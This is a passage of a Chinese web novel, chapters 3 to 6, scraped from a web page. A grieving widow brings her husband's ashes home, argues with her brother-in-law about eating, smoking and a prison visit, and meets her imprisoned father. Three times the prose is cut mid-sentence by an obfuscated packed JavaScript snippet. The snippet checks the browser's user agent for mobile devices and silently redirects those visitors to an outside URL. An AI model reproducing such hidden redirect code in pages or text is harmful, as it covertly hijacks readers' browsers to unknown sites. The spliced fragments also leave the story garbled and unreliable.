并不是她十八九岁时那种带着少女般青涩美好的纤细,也不是大学时她刻意节食也要保持的那种完美身材……甚至,连去年清明时她的那种纤瘦都不复。 现在的她,已经是一种病态的瘦弱了。 不应该想这些的。 敬渝忽然闭上了双眼,任由眼前的景象被黑暗整个吞没。 但原先淡漠的脸上,还是裂开一个缝隙,透露出一种涩然的神色。 身体里心脏的那个位置,依旧日复一日、那么有力地跳动着,即使上面好像也覆上一张细密的网,隔开了底下的一种正隐隐蔓延开来的闷痛的感觉。 敬渝依旧平稳地呼吸着,没多久就眼底清明地再度睁开眼睛。 舒纯熙就在这时候回过头来,他的视线还没来得及收回,就冷不丁地与她撞上。 好在她并没有在意,看了他一眼,然后默默地又移开了眼神,主动开口问了一句: “车祸的事,有什么进展了吗?” 她问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376251|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的自然是敬渝派过去调查的私家侦探。 法国那边的警方,效率并不如何,车祸已经过去三个月,且不论没查出来什么有用的东西,就连流程都还没走完。 舒纯熙当然不会傻到还在继续等那个所谓的“官方调查结果”。 她的语气礼貌又疏离,想来若不是为了关心调查的进程,她是决计不会主动开口跟他说话的。 敬渝早有预感,但还是在这认知里沉默了一会儿,语气也很平淡,公事公办地回答道: “是有些线索,不过还不明朗,你不用担心,我会让人继续盯着的。” 至于线索是什么,他并没有具体跟舒纯熙去解释。 他并不是一个习惯什么都说出口的人,相反,任何事情,在十拿九稳之前,他更愿意把所有的东西都放在自己的心里面。 这样的话,要是事情最终能成,等到看见结果的那一天,所有人自然会皆大欢喜。但如果最后还是成不了,至少失望的人也不至于有太多。 他是一汪深潭,既示人以清泉,又容纳所有污秽。 不过,以前他这么干,表现得实在是太明显的时候,第一个不愿意的就是舒纯熙。 一旦被她发现了他瞒而不报,她就会像只被人踩了尾巴的狸花猫一样,张牙舞爪地跳起来,冲着他好好地发一通脾气。 并且控诉他是只讨人厌的锯嘴葫芦,什么都不愿意跟她说,还言之凿凿地问他,要是她特别替他担心怎么办? 敬渝那时候当然不知道该怎么回答,他只是默默地在心里面想,如果告诉你了,你反而更为我担心了怎么办? 这个问题,好像辩论来辩论去也没有哪个答案真正胜出。 不过舒纯熙后来还是找到了治他的法子,她想知道的事,就一定打破砂锅问到底。 他的这个习惯最终没有改掉,但她要是多问几个问题,他也会回答,如此倒也算曲线救国,妥善解决了这个问题。 她还曾经气急败坏地“讽刺”他是个把宝藏都埋在心里面十万八千里的海盗呢。 敬渝意识到自己想远了,但脸上的神色已经在没人看见的地方柔和了一点,可能是因为想起那个非要来挖宝藏的小贼。 目光又在眼前的舒纯熙身上聚焦起来,他虽然面上没什么表情地望着她,但已然是在静静地等待她的后话。 4. 第 4 章 第四章、 就这样被他望着,舒纯熙有点莫名。 她听得出来他没打算跟自己说那些线索的眉目,自然也就不会讨人嫌地非要刨根问底。 他心里面有属于他自己的考量,正好,她也是。所以只是“嗯”了一下,表示她知道了。 然后敬渝不作声了,他默默地又转过头去,继续朝着前座的椅背望着。 舒纯熙也安静了下去,车厢内重回沉寂,无人言语,只有四辆间隔均匀的车在高速路上朝着目的地疾驰着。 到了后半程,舒纯熙也不再撑着精神,向后仰靠着,两只手搭在怀里抱着的盒子,合上了眼。 起先只是闭目养神,但不知是不是长途飞行果真给她的身体造成了疲惫,十几分钟后,她进入了梦乡。 没有做什么梦,算得上难得地睡了个好觉,虽然只有短短的几十分钟。 等她忽然精神回笼,睁开朦胧的双眼时,车已经停下了。 舒纯熙朝外面望了一眼,他们俨然已经到了,只是不知道是刚到,还是已经到了有一会儿了。 刚清醒的时候,她的思绪都是很慢地在脑海里爬,好像冷眼旁观着眼前的世界一样,而她则并不属于自己置身的这个世界。 敬渝那侧的门已经打开了,他望了舒纯熙一眼,然后从他的那侧率先下了车。 当然不好叫别人等太久,长长地呼出一口气后,舒纯熙很快也打开了自己这一侧的车门,下了车。 敬渝挡在大门口的一根白色大理石圆柱前,左手插在裤兜里,目不斜视,一动不动。 等到舒纯熙慢吞吞地走过来,才挪动了脚步,走在她前面一点,一前一后地到了大门前面。 家门外,站了约莫都是四十多岁年纪的一男一女,正是敬宅里两个管家。 舒纯熙一位称柳叔,一位称李阿姨的,她自幼年来便常常往敬宅跑,柳叔和李阿姨,也算是看着她长大的,彼此颇为熟悉。 他们等在门口肯定是来迎接她的,只是两个人眼里都不自主地带上了点晶莹,也不知道是看见她如今憔悴的模样不免心疼,还是为她刚死了丈夫而忍不住唏嘘。 直到舒纯熙从不远处的那个身影变成眼前好好站着的人,李阿姨才狠狠抹了一把脸,摆出一个关切的笑脸来。 “二夫人,您回来啦。” 舒纯熙对上他们的眼睛,一时间竟也有点不知道该怎么处理。 对方抑制着的感情于她来说太过浓烈,她自认不会再轻易动容,但还是在此时放下了些许心防,鼻尖一酸。 柳叔眼疾手快,立刻伸出双手动作谨慎地要从舒纯熙手上接过那个盒子。 想来家里的布置都安排好了,舒纯熙没有推辞,两个人完成了敬亭的骨灰盒的交接。 一行人没有继续堵在门口叙话,都进了门后,柳叔要将敬亭的骨灰盒安放在家里辟出来的祭拜场所里面,李阿姨则要带舒纯熙去房间安顿下来。 原本的一群人都散了,敬渝在客厅里自己站了一会儿,也抬起脚,去了书房。 李阿姨拉着舒纯熙的手,带着些薄茧的手摩挲了一下她纤瘦的手掌,带着心疼与怜惜,上楼的路上一直没有放下。 舒纯熙有心安慰她,努力勾出来一个微笑给她看。 就这样,循着她记忆里的位置,李阿姨带着她到了敬亭的房间。 这房间她一共住过两三次,说熟悉不算熟悉,说陌生也绝不算陌生。 舒纯熙面上的笑容已经收敛起来,她凝着眼神,停在门外,没有要上前一步的意思。 李阿姨打开了房门,站在门内,还在等着她进来,似乎有什么话等着跟她说。 舒纯熙反而还向后退了一小步,鞋跟踩在大理石地砖上的清脆声音,在耳边响了一声。 “李阿姨,我还是去客房住吧。” 说完,不等李阿姨反应,她已经快步走到走廊上,是打定主意不会进去的意思了。 李阿姨愣了一下,看了一眼房内自己按敬渝要求重做的布置,慢慢地走出去,心想舒小姐应该是怕触景伤情吧,她怎么就没考虑到这一层呢? . 敬渝到了书房,开了电脑,对着电脑屏幕走了一会儿神。 门外有人敲门,他才回过神来,说了声“进”。 来人是郑徽。 由于他的工作性质特殊,郑徽不仅仅是他工作上的秘书,他所有的私人事务,几乎也会交给他来处理。 郑徽走了进来,视线照常往眼前的书桌上扫了一眼。 只见敬渝手边不远处随意叠着几本书,摞的有点高。最上面的一本,封面上还画着一个在地上爬的小婴儿。 郑徽嘴角一僵,还想看得更仔细一点时,书的主人显然已经注意到他的视线。 视线里的那本书立刻被人拿起来,“哇啦”一声,敬渝把书塞进抽屉里,然后合上。 郑徽悻悻地挠了挠头,将手里的文件递给他,是到目前为止他手上能确定的追悼会出席人员名单。 敬亭在巴黎已经办过一场告别会,但落叶归根,将敬亭送还国内安葬,却是敬渝不容置疑的意思。 日子就定在两天后,敬家会再举行一场追悼会。 文件不厚,大约三页纸的名单,以确认时间的先后顺序排列。 敬渝翻到最后一页,视线全都落在郑徽做的特殊标记上,黑体字是确认出席的人,而后面灰色的字体,则是拟邀名单上列出来的,却没有给明确回复、或者已表明不会出席的人。 敬渝扫了一眼最后几个黑体名字,然后又眯起眼细细看了看为数不多的几个灰色名字,手指着其中一个,问: “周政不来?” 周政,是昼米尔市如今市政司的三把手副司长,新的调令已经下来,据说任期一完,就到周边的一个普通城市任司长,不算升也不算降。 “是,他的秘书到现在也没有给回复,我让秘书室的人催过两次,看来是刻意不答复了。” 郑徽想了想,补充了一句,道 “不过周副司长也不算什么要紧的人物,跟敬家没有什么交情,需要我再去催一下吗?” 是没有什么交情,但他是三年前舒宁允在怀安历练时的秘书。 郑徽话音刚落,就听见书桌后的男人反问了一句。 “我敬家都死了一个人了,他为什么不来参加葬礼?” 低垂着的眼皮,遮住了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376252|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻眼里的情绪。 “你明天亲自去见他,告诉他,是我,要他来。” 最后几个字,一字一顿,咬得极重。郑徽闻言,连忙应下来。 剩下的几个人,也是差不多的情况,郑徽心里估摸了一下,看来敬渝心里早有谋算,所以明天免不得要奔波一下,把这件事给办妥了。 一件事毕,感受着书房内令人感到郁闷的氛围,郑徽只好硬着头皮继续说道: “敬总,李阿姨说舒小姐,主动要去住客房。” 说完这话,郑徽感觉书房里的氛围更不怎么样了,他抬起头飞快地望敬渝的方向看了一眼,只见他压着嘴角,冷着一张脸,然后,在察觉到郑徽的视线之后,掀起眼皮,回敬了他一眼。 郑徽后背一凉,回想着敬渝暗含警告意味的一眼,福至心灵,连忙重说了一遍, “呃那个,李阿姨说二夫人她,主动要去住客房。” 很好,说完这句话后,郑徽眼见着敬渝的脸怎么好像更沉了一点。 不对……现在老板怎么可能还有心思纠正他的称呼问题,现在最重要的是,老板提前一个月让人重新布置的房间,原封不动地给人退回来了,搁在谁身上也不会高兴的啊。 心道不妙,欲哭无泪地找了个借口,郑徽一溜烟似的跑了。 . 敬渝没理会郑徽试探后又立刻夹紧尾巴跑了的行为。 书房的门在耳边打开又关上,他只是终于向后一靠,仰在椅背上,缓缓地闭上了双眼。 . 舒纯熙搬进了客房里,在二楼尽头的位置。 和她一起从巴黎回来的人是敬渝派过去的助理,把她的行李交接给李阿姨后就离开了。 李阿姨主动要帮她把行李收拾出来,舒纯熙没什么多余的力气,接受了她的提议。 不到两个小时,一切都安顿好了。 舒纯熙入住的客房虽然没有其他卧室大,但好在因为位置在尽头,有一个扩出去的很大的露台,可以将后面花园里的景色尽收眼底。 她在露台上面走了走,绕到一个角落里停下,然后从手里压得有点扁的烟盒里抽出一根细烟,夹在两指之间。 复古的老式打火机被划动,“咔哒”一声窜出火苗,她移手过去,将烟点燃。 再关上打火机,转身将东西放在后面藤制的一张茶几上,上前一步,双肘撑在栏杆上,微微低头,浅吸了一口烟。 整套动作,熟稔无比,仿佛她早就做过无数次,以至于了然于心。 如果不是亲眼所见,敬渝怎么能想象,舒纯熙如今竟然养成了抽烟的习惯? 舒纯熙望着远方,慢条斯理地吸一口,吐一口,停一会儿,再继续上述的动作。 小半根烟就这样燃完了,一只脚有些酸痛地朝后退了一步,换了个站姿,两只腿一前一后交叉着稳住身体。 她又歪了歪头,放松着肩膀,而后向右转头的时候,没有焦点的视线冷不丁撞进一个人的眸子里。 原来这角落并不是视线死角,反而可以与走廊上所有房间里的阳台对望。 敬渝站在那儿,冷冷地,一动不动地盯着她的方向看着,眼里像是一堆化不开的墨。 5. 第 5 章 第五章、 舒纯熙感觉得到,自己的呼吸在逐渐变得缓慢和紧张。 但她也只是眨了眨眼睛,维持着原先的姿势没有动,依旧望着敬渝,本来要呼出的气也没理由硬咽下去,顺势轻轻一吐。 白烟顺着气从口中吐出,在眼前很快扩成了一小片。 烟雾不算浓,但彼此视线交融之处,还是突兀地被隔开了,仿佛一张画上被人泼上了墨。 舒纯熙思绪缓慢地觉察着,好像怎么看起来,这都有点像是挑衅的反应。 那片白烟很快被风裹挟,逐渐瞧不见了,但风仿佛是往那边在吹的。 不过十几秒的时间,待烟彻底散尽,舒纯熙已经没有再看向他的方向,收回视线后,转了头。 思绪在脑子里过了一下,她还是拿开了烟,四顾一下,似乎在找什么。 但她显然是没找到,唇一牵,将烟扔在地上,抬脚用了点力,把剩下那半支烟给踩灭。 火星在灰烬里闪烁着红黄色的光亮,毫无意外地弄脏了娇贵的鞋底。 想起被敬渝撞见,还有他刚刚那种摸不着底的眼神。 舒纯熙心里面多少有点不自在,好像浑身起了鸡皮疙瘩一样。 草草处理完那支烟,她像是不放心,又转过头去看了一下。 敬渝已经不在那儿了,应该是回房了。 正好她也不想继续再在阳台上待了,悠悠地走回了房间里。 一下午时间很快就消磨完了,期间李阿姨来送了一回下午茶,舒纯熙吃了点东西,就犯起困来,蜷在沙发上睡了过去。 再醒来的时候,外面的天已经黑透了,耳边传来清脆的敲门声,将她的思绪从迷茫里拉了回来,很明显,她正是被这声音给唤醒的。 “什么事?” 舒纯熙从沙发上坐了起身,头也不抬地问了一句。 “二夫人,吃饭了,李管家让我来请你。” 原来是到了晚饭的时间,舒纯熙答了一声,刚想站起来,肩膀上传来僵硬的酥麻感,她皱了下眉,伸出右掌在肩上揉了揉,只好坐下来缓一会儿,一边等待着知觉复苏。 过了一会儿,舒纯熙简单洗漱之后下了楼。 餐厅里除了佣人,敬渝并不在。 “二夫人,你来啦,” 李阿姨笑吟吟地在那儿等着,帮她拉开椅子,看着她左右望了一下的举动,猜到她在找谁,主动解释道: “敬总突然有事,刚刚带着郑秘书出门了,说不在家里吃晚餐。” 舒纯熙心中一跳,有点心不在焉地坐下,想了想,问了一句, “那他说没说,今晚还会回来么?” 晚餐已经摆好,李阿姨忙着给舒纯熙盛汤,摇摇头,似乎是在回想, “这他没交代,看样子好像是遇上什么急事了,敬总出门的时候脸色不怎么好。” 舒纯熙心里计较了一番,只好先放下心来吃饭。 心里面揣着事,随便吃了两口,她就没什么胃口了,放下筷子后,就起身上了楼。 夜晚的敬宅很安静,周遭大多都是原野,偶尔传来几声犬吠。 舒纯熙倚在床头,指尖在微信的屏幕上停留,那是敬渝和她的微信聊天框。 她一直盯着上面看,显然是不想给他发消息的,耳边还在留意着外面的动静。 不知等了多久,指尖抬起,点开对话框,硬着头皮打了几个字,最终还是泄了气,将手机摁灭放到一旁。 好在过了一会儿,外面传来汽车引擎的声音,碾过柏油路,越来越大,然后又渐渐消失下去。 应该是敬渝回来了。 舒纯熙松了一口气,刚想从床上下去,却又在手即将触碰到门把手的时候,有点纠结地止住了脚步,立在了原地,脚下如重千斤。 她听得到楼下的声响,因为主人家的回来,佣人们又忙碌了起来,原本寂静的一楼忽然又热闹了起来。 . 敬渝走进门,脱了外套递给人,耳朵一动,手臂一伸,低头看了一眼腕表上的时间,抬首止住身边郑徽的话头,沉着声道: “叫他们都不要忙,声音小点。” 郑徽原本到嘴边的话就那样咽了下去,刻意压低嗓子,应了一声,然后抬起头朝四方的人都做了个“噤声”的手势,一转头的功夫,敬渝已经往餐厅走了。 敬渝晚间离开的时候没说在不在外面吃饭,但李阿姨肯定会给他留饭的。 他也确实是忙到现在,跟郑徽都没吃东西。 热的是晚上提前分出来的菜,跟舒纯熙晚上吃的是一样的菜色。 敬渝让郑徽坐下一起吃,郑徽到现在都有点饿过头了,坐下来吃了两口,却看敬渝还颇有兴致的样子,将每道菜都夹到碟子里面。 他一道一道都尝了一口,不置可否,然后就着碟子里剩下的菜,风卷残云般将一碗米饭吃了。 放下碗筷的动作几乎没有声音,敬渝侧仰头,问李阿姨: “她晚上吃得怎么样?” 李阿姨拧着眉头摇了摇头, “二夫人晚上没胃口,勉强吃了几口就上楼去了,我觉得她晚上大概会饿,刚让人热了一杯牛奶,想给她送过去呢。” “她还没睡?” 敬渝问道,心说舒纯熙最讨厌喝的就是牛奶了,不过现在也没办法,再不补充点营养可不行。 李阿姨还在继续说,敬渝径直站起身,自己走到了厨房里,手伸出来,从佣人手里接过牛奶, “我去送吧。” 端着托盘离开厨房之间,敬渝对着从后面跟上来的李阿姨,不假思索地嘱咐道: “再去找几个好的厨师。” 李阿姨心里有数,面上一喜,忙不迭应下来。 . 舒纯熙正在纠结,是现在就下去偶遇敬渝,还是等明天再说。 思绪突然被两声敲门声给打断。 “是我。” 她有点惊讶地站起身来,走到门后,打开了门。 外面的吊顶水晶灯闪着耀眼的光,敬渝足够高,遮挡住大半光线,站在那儿,如同逆光而来,勾勒得一分不多、一分不少的面部轮廓就在眼前。 舒纯熙的视线最初落在他高挺的鼻梁上,然后才缓缓上移,到他潋滟的眉目上。 他也正在看自己。 舒纯熙被这认知弄得一愣,原本纠结的心此刻反而沉静了一下,好让她有心思去处理眼前的状况。 敬渝就站在门外,没有要进门的意思,手上端着一个托盘,上面放着一个装着牛奶的长玻璃杯。 主动向后退了一步,让出位置,舒纯熙抿紧唇,道: “进来说吧。” 敬渝没有推脱,走进她的房间,将手里的东西放在茶几上,但是没有坐下。 她房间里的双人沙发位置不算大,要是坐下去,她又坐哪儿? 本来进她的房间就不应该,要是还坐在这唯一一张沙发上面,怎么想都有点不合规矩。 敬渝便站在离门近的一边,没有再往前。 舒纯熙本想坐下说的,但看敬渝一副如如不动的样子,她就没有多此一举,站在离他两步的地方,和他面对面。 “听说你晚上没怎么吃,是不是菜不合胃口?” 敬渝看得出来她有话说,但是又不想开口,便自己开了话头。 “呃,不是,” 舒纯熙没想到他要说的是这个,有点心不在焉地回答道, “我只是没什么胃口,吃不下去东西。” 敬渝瞧着她回答时逐渐低下的头,虽然心中了然,却还是缓缓拧起了眉头,劝道: “就算吃不下,也多少吃一点,不然身体也会吃不消的。李阿姨热了牛奶给你。” 她抬起头来,脸上浮上抗拒的神情,语气颇为坚决地反驳道: “我不饿,也不想喝牛奶。” 敬渝在心里面叹了一口气,转而又想起下午的那一幕,心知不能完全由着她,不然他也不会这么晚还要特意来见她了。 “你需要补充点营养,以后每天都要喝一杯牛奶,养好身体才是重中之重,还有,” 他顿了顿,继续说了下去, “你得戒烟。” 舒纯熙还没从他说的“以后每天都要喝一杯牛奶”中反应过来,就又听到他说自己抽烟的事,当时没找自己,原来是在这里等着呢。 嘴角一撇,她实在不想跟他就上面的任何一件事继续谈下去,心一横,也不纠结了,岔开话题,直截了当地对他说: “我想明后天去探监。” 她在回来之前就有了计划,但是她的父母叔伯都不是在普通监狱,预约的流程繁琐。 更重要的是,要是没有敬渝的门道,人家未必会批,又或者,她也可能会像之前在波利市一样,直接被一辆车结束生命、横死街头。 所以,她需要敬渝同意,而且派人保护自己。 敬渝本以为他说的那些话,她要么不搭理他,要么就是得闹了,但她没给他反应,而是直接跟他说了探监的事。 听到她要求明后天,眉头拧起来,拒绝道: “明后天不行,太赶了,等葬礼之后,我再帮你安排。” 舒纯熙闻言,面上很是不虞,黑乎乎的眸子带着点戒备,像是一只处于防御状态下的小兽, “为什么不行?” “你的身体吃得消么?” 敬渝也没退步,试图向她解释,为什么不建议她在葬礼前去探监, “明后天真的不是好时机,你等过一段时间,我会帮你安排的。” “可我就想在葬礼前去探监,你能帮我的,不是么?” “不行。” 舒纯熙的脸色彻底冷了下来,她压根没想到他会阻止自己。 站在他面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376253|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前死死地盯着他,心里竟一时间想不出办法来,但眼眶已经慢慢地红了,默默地向他重复了一次。 “我一定要去。” “我不同意。” 一时间气氛剑拔弩张,舒纯熙虽然是求人,但却丝毫不退,只是扬着她那双黑黝黝的眼睛盯着他。 敬渝被她这样一望,不免觉得惊心动魄,有点不忍,但没等他松口,再说点什么委婉的话劝服她,她已经环顾了一下四周,视线立刻落在那杯牛奶上。 几乎没有犹豫,舒纯熙一身悲戚地两步走了过去,拿起杯子放到嘴边,仰头开始喝。 她动作没停,简直像是要干一杯啤酒一样,但又显然不适应一下子喝这么多,喝到一小半,那动物奶水自带地腥味和心里面的抗拒还是占了上风,没有成全她这份“退步”的决心。 敬渝眼看着她咽不下去,捂住嘴一副想吐的样子,凝眸不语,但动作很快地抽了几张纸塞到她手上,又很快绕到茶几后面将房间里的垃圾桶拿起来,两只手掌锢住拿到舒纯熙面前。 舒纯熙到底没有真吐出来,抚着胸口顺了一会儿气,硬是咽了下去。 抬起头,一时间面上有点狼狈,那先前就已经红了的眼眶更是湿润,大有泪珠夺眶而出的趋势。 敬渝不过是放下垃圾桶的功夫,她竟然又去俯身拿那杯没喝完的牛奶,打算把它喝完。 “够了,不要再喝了。” 左眼眼皮直跳,敬渝伸出手握住她肩,从她手上去夺那杯牛奶。 但她并不依从,扭动着肩膀想要挣脱他的桎梏,手也死死攥着杯身,不让他触碰。 敬渝没有着力点,抓不住那杯子,只好直接用手覆在她的手上,手背上两条青筋暴起,仿佛已是在极力压抑着自己的脾气。 他眸中翻滚着令人陌生的情绪,黑漆漆地,威压不再掩饰,执意要从她手里把杯子给抢走,冷冷地重复道, “够了。舒纯熙,我说够了。” 被他连名带姓地叫了一声,舒纯熙和他互不相让的气势并没有消减,手也没有松开,反而勾了勾唇,没什么笑意地继续说, “奥,还有烟,我不会再抽烟了,行吗?” 她说着,语气里带着明显的挪揄,还有一股隐约的自嘲,这些情绪在她脸上一闪而过。 而敬渝还是一脸沉重地站在她的面前。 然后她睁大着眼睛,任凭泪珠在眼眶里越聚越大,终在一瞬,“啪嗒”地顺着脸颊滴下来。 “我想见我爸妈,你答应我吧,敬渝,敬渝,” 虽然在哭,但她的面上并没有什么委屈难过的样子,反而带着一股子绝望的死气沉沉,语气终究是软和了下来,比这几年她跟他说的任何一句话的语气都还要卑微。 “我要去见我爸妈,” 她像是想起什么一样,抓住救命稻草一般,忽得又唤, “大哥,” 哽咽着的人任他抓着自己的肩膀,但双肩还在因胸口起伏而微微颤抖着,她又叫他,仿佛再叠加一份亲情就能软化了他的心肠, “……大哥。” 心头好像被一块烙铁狠狠地烫了一下,敬渝猛地松开了手,动作僵硬地后退了一步,双拳攥得无比紧,收束在身侧。 再等下去,她不知道还会再说出来什么了。敬渝突然一阵心慌,觉得自己恐惧眼前的这种状况。 脑海里面轰隆隆地一团乱,他咬着牙说: “我知道了,我会安排好的。” 说完,他喉咙一紧,目光躲闪,却还是又将攥着那玻璃杯的舒纯熙给从头到脚看了个彻底,心里一团乱麻,挥刀却斩之不尽。 不该这样的,明明不应该是这样的。 他想过她不会轻易接受他的那些要求,她不会乖乖地喝牛奶,她也不会轻易戒烟,他甚至在心里面想了好几种哄她的方法。 他更是从来就没有想过,要用探监这件事威胁她。 这几个月来接连发生这么多事,她还要去探监,只会让她更引人注意,愈发成为那些人的眼中钉肉中刺,他自然有不同意的充足的理由。 但他根本没想到,事情会被弄成现在这个样子。 他真的不知道,究竟是谁教会了她这些,竟然让她以为,只要让步妥协,只要低头,他就会答应她的要求,她就真的能从他这得到那些她真正想要的东西。 她妥协退步得竟然那么坚决,就连放弃和低头都带着种决斗的果断。 到底是谁教她这样去低头的? 敬渝根本不敢细想,僵硬的动作带着落荒而逃的意味。 敬渝走后,舒纯熙忽得松开手,任手上的玻璃杯从手里跌落,撞在茶几上,碎成许多片,那半杯没喝完的牛奶没了依托,从茶几上流淌到精美的意大利手工毛毯上,一滩乳白,扎眼得很。 她好像被抽走了生气,脱力般爬上了床,钻到了被子下,强迫自己闭上了双眼。 6. 第 6 章 第六章、 第二天,舒纯熙没再出过房门,李阿姨只好让人把一日三餐都送到房间里。 敬渝没有再在她面前露过面,只是等到第二天午后,终于有人来敲她的门。 那是郑徽,他是来告诉自己都安排好了,他们现在就可以出门的。 舒纯熙很快换了一身衣服,走出门下了楼。 车已经备好,后座空荡荡的,只等她上车。 坐上车的女人敛眸,回想起刚刚往外走时留心的那几眼,看来今天敬渝不会跟她一起去了。 她抿着唇,收起思绪,等待着自己乘的这辆车往一等公狱驶去。 . 一等公狱就是舒家一家人被关押的地方,也是分成男女两个监狱。 距离今天的会见时间结束,只有不到三个半小时的时间。 车停稳之前,舒纯熙看了一眼手机上的时间,估计自己今天能见一下父亲,然后再绕到女狱那边见母亲,时间应该就用完了。 至于其他亲戚,只能等以后再找时间来了。 下了车,郑徽走在她旁边,大门口有几个工作人员在等他们。 两扇黑色的大铁门始终关着,一如既往的让人感到压抑,逐渐透不过气来。 舒纯熙始终低垂着头,将额前的帽檐又压低一点,跟在一个狱警身后,跨进了铁门旁只够一人通过的小门,走进了这座牢笼里。 在路上一直走了十几分钟,脚踝都有点酸的时候,总算到了安排好的会见室里。 一个高个子的工作人员在会见室门口停下了脚步。剩下的那几人早在他们进到这条走廊之前,就止步于外面,只有郑徽还跟在她身旁。 门在眼前打开,那被郑徽称为“宁秘书”的男人收回推门的手,目不斜视,只说了声“请”。 舒纯熙点点头,然后拿下头顶的帽子和眼前的墨镜,回头又跟郑徽对视了一眼,才走进了会见室。 会见室里布置很简单,头顶是一只亮得发昏的白炽灯,正中间是一张厚重的铁制桌子。 后面的墙上也有一扇门,那是通向监狱内部的门。 此时那扇门前,一个身高适中的中年男人负手而立。 “爸爸,我回来了。” 她望着几步之外的父亲,缓缓地出声道,而后才迈开了脚步,一步一步地走到了桌前。 舒怀宁听到动静时就已经向后转过身来,嘴边带着一抹浅笑,两道目光从上到下地将舒纯熙快速打量了一下,却是很快板起了脸。 走到桌前,拉开自己这边的椅子坐了下去,问她: “你可是不好好吃饭了?” 舒纯熙心中一跳,有点心虚地低下头,竟然像是个挨训的几岁小儿,低低地辩驳了一句“没有”,目光却很快扫到桌子上放着的一只狗尾巴草编的蚂蚱。 显然是舒怀宁带过来的,她立刻伸出手拿起来放到一只手上,注意力已经完全被吸引了过去。 舒怀宁看着伸手摆弄那只小蚂蚱的女儿,才慢慢地又露出了笑意。 “这是你做给我的吗?那我等会儿就带走了。” 舒纯熙总算停下手中的动作,但不得不说,一路上沉重与激动交杂的心情,现在总算被抚慰地平静了下去。 然后,就是说正事的时候了。 舒怀宁也收敛了笑意,正襟危坐,看着她,问: “过年的时候你们没有来,听说,是出了车祸?” 舒怀宁虽然在监狱里面,但并不是没有接触到外界消息的机会。 那么发生了什么,她应该也不用再多说了。 点了两下头,舒纯熙抬头端详着对面的父亲,他穿着乌黑的行政夹克,头发打理得一丝不苟,看上去跟几年前位高权重的时候并没有明显的区别。 一等公狱里的服刑人员非富即贵,她倒不用担心他们在里面会受太多磋磨。 但她还是很快就发现,父亲的两边鬓角已经染上了两条花白,那么的惹眼。 心中一酸,舒纯熙掩饰似的低下头,抿紧了双唇,两只手交握在一起,放在身前的桌子上,盯着眼前的桌面,低声问道: “敬亭不在了,以后怎么办,我怕……” 她没说完,就止住了话头,几不可闻地叹了一口气。 “纯熙,别担心。 他们就是想赶在换届之前搏一把,想灭口把事情彻底按下去,到时候上一届的领导班子都走了,新来的也不会再揪着上一届的旧事查。 不过,现在既然没得逞,换届也已经结束了,他们的手不会再伸那么长,更何况,” 舒怀宁也将双手交握放在了桌上,向前一探,沉沉地叹: “他们这下还彻底得罪了敬家。” 一阵安静。 只听舒怀宁转了话头,似惋惜似愧疚,呢喃了一句, “可惜了敬亭那孩子。” 终究是我们连累了他。 舒怀宁口中还留了这句话不曾说出去,抬起头观察着女儿的反应,终究还是更担心她心里过意不去,因此自苦,便没有当着她的面说出口。 舒纯熙确实顿了一下,面上没有什么表情,心脏加快地跳了几下,放在桌下的左手,有点麻木地抚摸上了小腹。 她眨了眨眼,没说话。 “纯熙,出了这样的事,我怕敬家的人多少会迁怒你,你要当心。” 舒怀宁想起来那个本该做他女婿的那个人,面上浮起些许怅然,又跟着嘱咐道: “即便是对敬渝,你也要有所保留,不能太相信一个人。” 舒纯熙自然明白这个道理,牵了牵唇,应下来,又主动谈起今天来所为的正事。 “明天就是敬亭的葬礼,敬家请了很多人,如果需要我去见什么人,我应该能找到机会的。” 葬礼算是个千载难逢的场合,她心里很清楚,可能再也不会遇到什么机会,能有正当的理由,同时见到那么多从前跟舒家有来往的人。 这也是为什么,她一定要赶在葬礼之前来探监。 舒怀宁沉重地点了一下头,其实凭他的直觉,在知道敬亭身亡之后,他就有一种预感,会等到这么一场葬礼。 而这一天,无论明处还是暗处的任何人,都没有理由阻挡任何人去敬家去吊唁。 舒纯熙看见父亲示意她伸出手,就知道他应当早就在心里提前想好了。 舒怀宁紧接着用食指在舒纯熙的左手上写了几个人名,重复了两遍。 “如果你见到他们,就帮我问一句,‘云先河的水是否还向东流呢’。” 舒纯熙点点头,又将那几个人名在心里面默了一遍。 舒怀宁交代完这句,门外有人敲了敲门,提醒她探视时间就要到了。 舒纯熙便没有再耽搁,站起来,临走时还冲舒怀宁笑了笑。 . 女狱的会见室。 舒纯熙一走进房间,杨曦就两步跨作一步,走到女儿跟前将她搂进怀里。 舒纯熙有些僵硬的嘴角,很快就缓和下来,乖乖地被母亲抚着发丝,又拍了拍脊背。 待到分开时,她又后退了一步,特意在杨曦面前走了两步绕了一圈,让她好好看着自己。 杨曦端详着面前的女儿,眼中的满意挥之不散。 